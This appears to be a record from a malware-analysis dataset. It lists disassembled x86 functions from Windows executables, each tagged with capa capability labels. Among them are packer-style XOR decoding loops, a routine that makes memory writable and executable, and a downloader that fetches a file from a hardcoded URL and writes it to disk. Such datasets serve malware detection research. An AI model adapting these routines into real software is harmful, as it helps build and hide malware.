joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40e880
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0x1c
cmp dword [esp + 0x20], 0
push esi
push edi
mov esi, eax
mov edi, ecx
jne 0x40ea12
test ebx, ebx
je 0x40ea12
call fcn.0040bea0
push eax
lea eax, [edi + 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x18]
sub eax, 0
je 0x40e96e
sub eax, 1
jne 0x40ea69
cmp byte [edi + 0x275], al
je 0x40e8dc
add edi, 0x21c
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
pop edi
pop esi
add esp, 0x1c
ret
lea ecx, [edi + 0x21c]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov edx, dword [edi + 0x27c]
push ebx
add edx, 0x44
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov eax, dword [edi + 0x264]
mov ecx, dword [edi + 0x268]
mov edx, dword [edi + 0x26c]
mov dword [esp + 8], eax
mov eax, dword [edi + 0x270]
mov dword [esp + 0xc], ecx
mov ecx, dword [edi + 0x278]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], ecx
mov ecx, dword [edi + 0x27c]
lea eax, [esp + 8]
lea edx, [edi + 8]
push eax
mov dword [esp + 0x20], edx
push ecx
mov ecx, 3
mov edx, edi
mov dword [esp + 0x28], ebx
call fcn.0040e260
add esp, 8
mov eax, edi
call fcn.0040e810
test al, al
jne 0x40ea69
mov byte [edi + 0x275], 1
pop edi
pop esi
add esp, 0x1c
ret
cmp byte [edi + 0x275], 0
je 0x40e987
add esi, 0x14
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
pop edi
pop esi
add esp, 0x1c
ret
add dword [esi + 0x28], ebx
mov eax, dword [esi + 0x28]
cmp eax, dword [esi + 0x24]
jae 0x40e9a7
add dword [esi + 0x20], ebx
sub dword [esi + 0x1c], ebx
push edi
call fcn.0040e600
add esp, 4
pop edi
pop esi
add esp, 0x1c
ret
lea edx, [esi + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ecx, dword [edi + 0x268]
mov edx, dword [edi + 0x26c]
mov eax, dword [edi + 0x264]
mov dword [esp + 0xc], ecx
mov ecx, dword [edi + 0x278]
mov dword [esp + 0x10], edx
mov edx, dword [esi + 0x30]
mov dword [esp + 0x18], ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x270]
mov dword [esp + 0x1c], edx
mov edx, dword [edi + 0x27c]
lea ecx, [esp + 8]
push ecx
mov dword [esp + 0x18], eax
mov eax, dword [esi + 0x28]
push edx
mov ecx, 2
mov edx, edi
mov dword [esp + 0x28], eax
call fcn.0040e260
add esp, 8
pop edi
pop esi
add esp, 0x1c
ret
add esi, 0x14
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 4
lea edx, [esp + 0x2c]
push edx
mov eax, 1
push 0x80
mov word [esp + 0x34], ax
mov eax, dword [edi + 0x260]
push 0xffff
xor ecx, ecx
push eax
mov byte [edi + 0x275], 1
mov word [esp + 0x3e], cx
call dword [sym.imp.WS2_32.dll_setsockopt]
mov ecx, dword [edi + 0x260]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [edi + 0x260], 0xffffffff
pop edi
pop esi
add esp, 0x1c
ret
Function at 0x40eb40
Capabilities:
Create tcp socket
Create udp socket
Get system information on windows
Set socket configuration

Disassembly:
sub esp, 0x38
push edi
push 0x4c
call fcn.00408b40
mov edi, eax
add esp, 4
test edi, edi
je 0x40ecc6
lea eax, [esp + 0x18]
push eax
mov dword [edi], 0x494f4350
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [esp + 0x2c]
lea eax, [edi + 0x20]
lea edx, [ecx + ecx]
push eax
mov dword [edi + 4], edx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [edi + 0x10], eax
test eax, eax
je 0x40ecbf
push 0
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov dword [edi + 8], eax
test eax, eax
je 0x40ecbf
call fcn.0040bb30
mov dword [edi + 0xc], eax
test eax, eax
je 0x40ecbf
push 1
push 0
push 0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_WSASocketA]
mov dword [edi + 0x14], eax
cmp eax, 0xffffffff
je 0x40ecbf
push 1
lea ecx, [esp + 0xb]
push ecx
push 4
push 0xffff
push eax
mov byte [esp + 0x1b], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
mov ecx, dword [esp + 0x44]
xor eax, eax
mov dword [esp + 0xa], eax
mov dword [esp + 0xe], eax
mov dword [esp + 0x12], eax
mov word [esp + 0x16], ax
mov eax, dword [esp + 0x40]
mov edx, 2
push ecx
mov word [esp + 0xc], dx
mov dword [esp + 0x10], eax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea edx, [esp + 0xc]
mov word [esp + 0xe], ax
mov eax, dword [edi + 0x14]
push edx
push eax
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x40ecbf
mov ecx, dword [edi + 0x14]
push bind
push ecx
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
je 0x40ecbf
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
mov dword [edi + 0x18], eax
test eax, eax
je 0x40ecbf
mov edx, dword [edi + 0x14]
push 8
push eax
push edx
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
je 0x40ecbf
push esi
xor esi, esi
cmp dword [edi + 4], esi
jbe 0x40ec9f
mov eax, dword [edi + 0xc]
push 0
push 0
push edi
push 0x40ea70
push 0
push eax
call fcn.0040bbe0
inc esi
add esp, 0x18
cmp esi, dword [edi + 4]
jb 0x40ec81
mov ecx, dword [edi + 0xc]
push 0
push 0
push edi
push 0x40e440
push 0
push ecx
call fcn.0040bbe0
add esp, 0x18
pop esi
mov eax, edi
pop edi
add esp, 0x38
ret
call fcn.0040e120
xor eax, eax
pop edi
add esp, 0x38
ret
Function at 0x40ef6d
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x40ef9e
mov eax, dword fs:[4]
mov dword [ebp + 8], eax
mov eax, dword fs:[8]
mov dword [ebp - 4], eax
cmp ebx, dword [ebp - 4]
jb 0x40efa5
cmp ebx, dword [ebp + 8]
jae 0x40efa5
xor eax, eax
jmp 0x40f18b
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x40efb6
xor eax, eax
inc eax
jmp 0x40f18a
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x40efc8
cmp ecx, edx
jae 0x40f02c
cmp dword [eax + 4], 0
je 0x40efd1
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x40efbd
cmp dword [ebp + 8], 0
je 0x40efeb
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x40f02c
cmp eax, esi
jae 0x40f02c
mov ecx, dword [0x417930]
mov esi, ebx
and esi, 0xfffff000
xor eax, eax
test ecx, ecx
jle 0x40f00d
cmp dword [eax*4 + 0x417938], esi
je 0x40f033
inc eax
cmp eax, ecx
jl 0x40efff
lea eax, [ebp + 8]
push eax
push 0x1c
lea eax, [ebp - 0x20]
push eax
push 0
push ebx
or edi, 0xffffffff
push edi
call sub.ntdll.dll_NtQueryVirtualMemory
test eax, eax
jl 0x40f0a3
mov eax, dword [ebp + 8]
jmp 0x40f0a5
xor eax, eax
jmp 0x40f18a
test eax, eax
jle 0x40efae
xor edx, edx
mov ebx, 0x417978
inc edx
mov edi, ebx
xchg dword [edi], edx
test edx, edx
jne 0x40efae
cmp dword [eax*4 + 0x417938], esi
je 0x40f082
lea eax, [ecx - 1]
test eax, eax
jl 0x40f06f
cmp dword [eax*4 + 0x417938], esi
je 0x40f06b
dec eax
jns 0x40f05f
test eax, eax
jge 0x40f080
cmp ecx, 0x10
jge 0x40f07b
inc ecx
mov dword [0x417930], ecx
lea eax, [ecx - 1]
jmp 0x40f082
je 0x40f09a
xor edx, edx
test eax, eax
jl 0x40f09a
lea ecx, [edx*4 + 0x417938]
mov edi, dword [ecx]
inc edx
cmp edx, eax
mov dword [ecx], esi
mov esi, edi
jle 0x40f088
xor eax, eax
xchg dword [ebx], eax
jmp 0x40efae
xor eax, eax
test eax, eax
je 0x40f188
cmp dword [ebp - 8], 0x1000000
jne 0x40f188
test byte [ebp - 0xc], 0xcc
je 0x40f11a
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x40f188
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x40f188
cmp word [eax + 0x18], 0x10b
jne 0x40f188
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x40f188
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x40f11a
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x40f11a
test byte [ecx + 0x27], 0x80
jne 0x40f02c
xor eax, eax
inc eax
mov ecx, eax
mov edx, 0x417978
xchg dword [edx], ecx
test ecx, ecx
jne 0x40f18a
mov ecx, dword [0x417930]
test ecx, ecx
mov edx, ecx
jle 0x40f149
lea eax, [ecx*4 + 0x417934]
cmp dword [eax], esi
je 0x40f149
dec edx
sub eax, 4
test edx, edx
jg 0x40f13d
test edx, edx
jne 0x40f17a
push 0xf
pop ebx
cmp ecx, ebx
jg 0x40f156
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x40f16e
lea eax, [edx*4 + 0x417938]
mov edi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], esi
mov esi, edi
jle 0x40f15c
cmp ecx, 0x10
jge 0x40f17a
inc ecx
mov dword [0x417930], ecx
xor eax, eax
mov ecx, 0x417978
xchg dword [ecx], eax
jmp 0x40efae
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
mov ebx, 0x40915c
mov ecx, 0x307016ef
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x431024
nop
nop
nop
nop
nop
mov eax, section..reloc
nop
mov ebx, 0x42f3f8
mov ecx, 0x686f37df
nop
nop
nop
nop
nop
test eax, eax
je 0x431084
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x4070bd
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40d468
cmp edx, dword [eax]
je 0x4070df
add eax, 8
inc ecx
cmp eax, 0x40d4f8
jl 0x4070d0
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40d468]
jne 0x40720d
mov eax, dword [0x40e498]
cmp eax, 1
je 0x4071e7
test eax, eax
jne 0x407110
cmp dword [0x40d39c], 1
je 0x4071e7
cmp edx, 0xfc
je 0x40720d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x407147
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00404340
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00404190
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40718a
lea eax, [ebp - 0x1a4]
push eax
call fcn.00404190
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40b5ec
push edi
call fcn.00408c50
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00404340
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00404350
lea eax, [ebp - 0xa0]
push 0x40b5cc
push eax
call fcn.00404350
push dword [esi + 0x40d46c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00404350
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00408bc2
add esp, 0x2c
pop edi
jmp 0x40720d
lea eax, [ebp + 8]
lea esi, [esi + 0x40d46c]
push 0
push eax
push dword [esi]
call fcn.00404190
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x438c8a
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x438a14
add edi, edi
call fcn.00438cc0
or edi, edi
xor dword [ebx], eax
inc ecx
sub esp, 4
mov dword [esp], ecx
pop edi
add ebx, 1
dec ecx
cmp ebx, edx
jne fcn.00438c8a
add edi, 0x8627261f
sub ecx, edi
ret

Function at 0x40ed5e
Capabilities:
Encode data using xor

Disassembly:
mov edi, 0x40eae0
call fcn.0040ed86
mov edx, 0xf249baa1
xor dword [esi], edi
inc esi
mov eax, 0xc5eb7d6a
cmp esi, ebx
jne fcn.0040ed5e
ret
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
push ebx
mov ebx, dword [esp + 8]
mov eax, ebx
push esi
xor esi, esi
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401010
sub eax, edx
xor edx, edx
mov ecx, 3
div ecx
test edx, edx
je 0x40102d
push 0
call fcn.004025dc
mov al, byte [ebx]
test al, al
push edi
mov edi, dword [esp + 0x14]
je 0x40105f
lea ecx, [ebx + 2]
jmp 0x401040
mov bl, byte [ecx]
mov dl, 0xa
imul dl
add al, byte [ecx - 1]
mov dl, 0xa
imul dl
add al, bl
add al, 0x30
add ecx, 3
mov byte [esi + edi], al
mov al, byte [ecx - 2]
inc esi
test al, al
jne 0x401040
mov byte [esi + edi], 0
pop edi
pop esi
pop ebx
ret

Function at 0x401070
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x10c
push ebx
push esi
push edi
mov byte [esp + 0x10], 0
xor eax, eax
mov ecx, 0x40
lea edi, [esp + 0x11]
rep stosd dword es:[edi], eax
push 0
push 0
push 0
stosw word es:[edi], ax
push 0
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.1__SV1__.NET_CLR_1.1.4322_
mov dword [esp + 0x20], 0
stosb byte es:[edi], al
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ecx, dword [ebp + 8]
push 0
push 0x80000000
push 0
push 0
push ecx
push eax
call dword [0x40aa54]
mov ebx, eax
test ebx, ebx
je 0x40112b
push 0
lea edx, [esp + 0x10]
push edx
push 0
push 0x13
push ebx
call dword [0x40aa6c]
push 0
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x18]
push ecx
push 0x13
push ebx
call dword [0x40aa6c]
test eax, eax
je 0x40110a
mov edi, 0x4082fc
lea esi, [esp + 0x10]
mov ecx, 4
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x40112b
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
lea eax, [esp + 0xc]
push eax
push ecx
push edx
push ebx
call dword [0x40aa44]
neg eax
sbb eax, eax
neg eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401140
Capabilities:
Terminate process
Write file on windows

Disassembly:
sub esp, 0x50
xor eax, eax
xor ecx, ecx
push ebx
mov dword [esp + 0x15], eax
mov dword [esp + 0x35], ecx
mov dword [esp + 0x19], eax
mov dword [esp + 0x39], ecx
push ebp
xor ebx, ebx
mov dword [esp + 0x21], eax
mov dword [esp + 0x41], ecx
push esi
mov dword [esp + 0x29], eax
mov dword [esp + 0x49], ecx
push ebx
mov dword [esp + 0x31], eax
mov dword [esp + 0x51], ecx
push ebx
mov dword [esp + 0x39], eax
mov dword [esp + 0x59], ecx
push ebx
mov dword [esp + 0x41], eax
mov dword [esp + 0x61], ecx
push ebx
mov word [esp + 0x49], ax
mov word [esp + 0x69], cx
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.1__SV1__.NET_CLR_1.1.4322_
mov byte [esp + 0x30], bl
mov byte [esp + 0x4f], al
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov byte [esp + 0x23], bl
mov byte [esp + 0x50], bl
mov byte [esp + 0x6f], cl
call dword [0x40aa68]
mov edx, dword [esp + 0x60]
push ebx
push 0x80000000
push ebx
push ebx
mov ebp, eax
push edx
push ebp
mov dword [esp + 0x30], ebp
call dword [0x40aa54]
push ebx
mov esi, eax
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x24]
push ecx
push 0x13
push esi
call dword [0x40aa6c]
push ebx
push 1
push str.http:__fucknaver_
call dword [0x40aa4c]
push ebx
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x24]
push eax
push 0x13
push esi
call dword [0x40aa6c]
test eax, eax
je 0x401313
push 3
lea ecx, [esp + 0x20]
push 0x4082fc
push ecx
call fcn.004026b0
add esp, 0xc
test eax, eax
jne 0x40130c
push ebx
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x44]
push eax
push 5
push esi
call dword [0x40aa6c]
push ebx
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x44]
push edx
push 5
push esi
call dword [0x40aa6c]
test eax, eax
je 0x40130c
lea eax, [esp + 0x3c]
push edi
push eax
call fcn.004026a4
mov ecx, dword [esp + 0x6c]
add esp, 4
push ebx
push 0x80
push 2
push ebx
push 1
push 0xc0000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40130b
lea edx, [esp + 0x14]
push edx
push 1
lea eax, [esp + 0x1b]
push eax
push esi
call dword [0x40aa44]
test eax, eax
je 0x4012e1
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
lea esp, [esp]
cmp dword [esp + 0x14], ebx
je 0x4012dd
push ebx
lea ecx, [esp + 0x1c]
push ecx
push 1
lea edx, [esp + 0x1f]
push edx
push edi
call ebp
lea eax, [esp + 0x14]
push eax
push 1
lea ecx, [esp + 0x1b]
push ecx
push esi
call dword [0x40aa44]
test eax, eax
jne 0x4012b0
mov ebp, dword [esp + 0x1c]
push esi
call dword [0x40aa78]
push ebp
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [esp + 0x68]
push 5
push edx
call dword [0x40aa48]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x50
ret
push esi
call dword [0x40aa78]
push ebp
call dword [0x40aa78]
push ebx
call fcn.004025dc
int3
Function at 0x405a83
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push esi
push eax
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, 0xffffffff
jne 0x405aa9
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x405aa9
xor al, al
jmp 0x405ac9
push 1
push 0
push 0
push dword [ebp - 4]
call fcn.00414490
mov ecx, eax
xor eax, eax
add ecx, esi
adc edx, eax
mov eax, dword [ebp + 8]
mov dword [eax], ecx
mov dword [eax + 4], edx
mov al, 1
pop esi
leave
ret 4

Function at 0x40cdf0
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get number of processors

Disassembly:
mov eax, 0x41a510
call fcn.00413954
push ecx
push ecx
push ebx
push esi
push edi
mov esi, ecx
xor edi, edi
mov dword [ebp - 0x10], esi
mov dword [esi + 4], edi
mov dword [esi + 8], edi
mov dword [esi + 0xc], edi
mov dword [esi + 0x10], 8
mov dword [esi], 0x41b694
mov dword [ebp - 4], edi
mov dword [esi + 0x18], edi
mov dword [esi + 0x1c], edi
mov dword [esi + 0x20], edi
mov dword [esi + 0x24], 1
mov dword [esi + 0x14], 0x41b748
push 4
mov ebx, 0x41b684
pop eax
mov dword [esi + 0x2c], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], eax
mov dword [esi + 0x28], ebx
lea ecx, [esi + 0x3c]
push eax
mov byte [ebp - 4], 2
call fcn.004032a8
mov dword [esi + 0x3c], 0x41b7f8
push 4
mov dword [esi + 0x54], edi
pop eax
mov dword [esi + 0x58], edi
mov dword [esi + 0x5c], edi
mov dword [esi + 0x60], eax
mov dword [esi + 0x50], ebx
lea edi, [esi + 0x64]
push eax
mov ecx, edi
mov byte [ebp - 4], al
call fcn.004032a8
mov dword [edi], 0x41b800
lea edi, [esi + 0x78]
mov byte [ebp - 4], 5
mov ecx, edi
mov dword [ebp - 0x14], edi
call fcn.0040b99b
lea ecx, [edi + 0x14]
mov byte [ebp - 4], 6
call fcn.0040c3f8
lea edi, [esi + 0xa0]
mov byte [ebp - 4], 7
mov ecx, edi
mov dword [ebp - 0x14], edi
call fcn.0040b99b
lea ecx, [edi + 0x14]
mov byte [ebp - 4], 8
call fcn.0040c3f8
lea edi, [esi + 0xc8]
mov byte [ebp - 4], 9
mov ecx, edi
mov dword [ebp - 0x14], edi
call fcn.0040b99b
lea ecx, [edi + 0x14]
mov byte [ebp - 4], 0xa
call fcn.0040c3f8
mov byte [ebp - 4], 0xb
lea edi, [esi + 0xf0]
mov ecx, edi
mov dword [ebp - 0x14], edi
call fcn.0040b99b
lea ecx, [edi + 0x14]
mov byte [ebp - 4], 0xc
call fcn.0040c3f8
lea ecx, [esi + 0x118]
mov byte [ebp - 4], 0xd
call fcn.0040c3f8
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x413220
Capabilities:
Create thread

Disassembly:
push esi
lea eax, [esp + 8]
push eax
push 0
mov esi, ecx
mov ecx, dword [esp + 0x10]
push ecx
push edx
push 0
push 0
call fcn.004148be
add esp, 0x18
mov dword [esi], eax
pop esi
test eax, eax
je 0x413248
xor eax, eax
ret 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x413257
mov eax, 1
ret 4

Function at 0x40ed64
Capabilities:
Encode data using xor

Disassembly:
push 0x40eae0
mov edi, dword [esp]
add esp, 4
call fcn.0040ed84
mov ebx, eax
add ebx, ebx
xor dword [esi], edi
dec ebx
inc esi
cmp esi, edx
jne fcn.0040ed64
ret
Function at 0x438c99
Capabilities:
Encode data using xor

Disassembly:
sub esp, 4
mov dword [esp], 0x438a14
pop ebx
add ecx, 0x4d22d6e2
sub ecx, 1
call fcn.00438cef
or ecx, ecx
xor dword [eax], ebx
add ecx, 0xa17dddd4
sub ecx, 0x3c3ef033
sub esi, esi
add eax, 1
add ecx, 0xd1fc1fd3
push ecx
mov esi, dword [esp]
add esp, 4
cmp eax, edi
jne fcn.00438c99
push esi
pop ecx
add ecx, 0xe0cef0d0
ret
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x401219
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40601c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push eax
fnstcw word [esp]
or word [esp], 0x300
fldcw word [esp]
add esp, 4
push 0
push 0
push 0x406028
push 0x406024
push 0x406020
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x406028]
push dword [0x406024]
push dword [0x406020]
mov dword [0x406014], esp
call fcn.0040129c
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret

Function at 0x40129c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x84], 0
call fcn.0040195d
mov esi, eax
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
mov eax, esi
or al, 0x40
push eax
lea eax, [0x404469]
lea edx, [fcn.004019c8]
sub eax, edx
push eax
push fcn.004019c8
call sub.KERNEL32.dll_VirtualProtect
cmp dword [ebp - 4], 0
je 0x40133e
push esi
call fcn.0040183b
lea eax, [ebp - 0x84]
push eax
push esi
call fcn.0040188a
mov eax, esi
add eax, 0x1d600
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x84]
push eax
mov edi, dword [ebp - 0x88]
mov eax, esi
mov ecx, edi
or cl, 1
cdq
idiv ecx
mov ebx, eax
add ebx, edi
push ebx
lea edi, [0x4060e4]
lea ecx, [0x4060e4]
mov ebx, esi
shl ebx, cl
add edi, ebx
push edi
call fcn.004019c8
add esp, 0x18
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40195d
Capabilities:
Encode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
push edi
and dword [ebp - 0x118], 0
xor edi, edi
push 0
push 0
call sub.USER32.DLL_GetWindow
mov dword [ebp - 0x114], 0xa
mov byte [ebp - 0x104], 0
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x10e]
push eax
push 1
push 1
lea eax, [ebp - 0x104]
push eax
call sub.CRYPT32.DLL_CryptBinaryToStringA
movsx edi, byte [ebp - 0x10e]
sub edi, 0x41
mov eax, edi
pop edi
leave
ret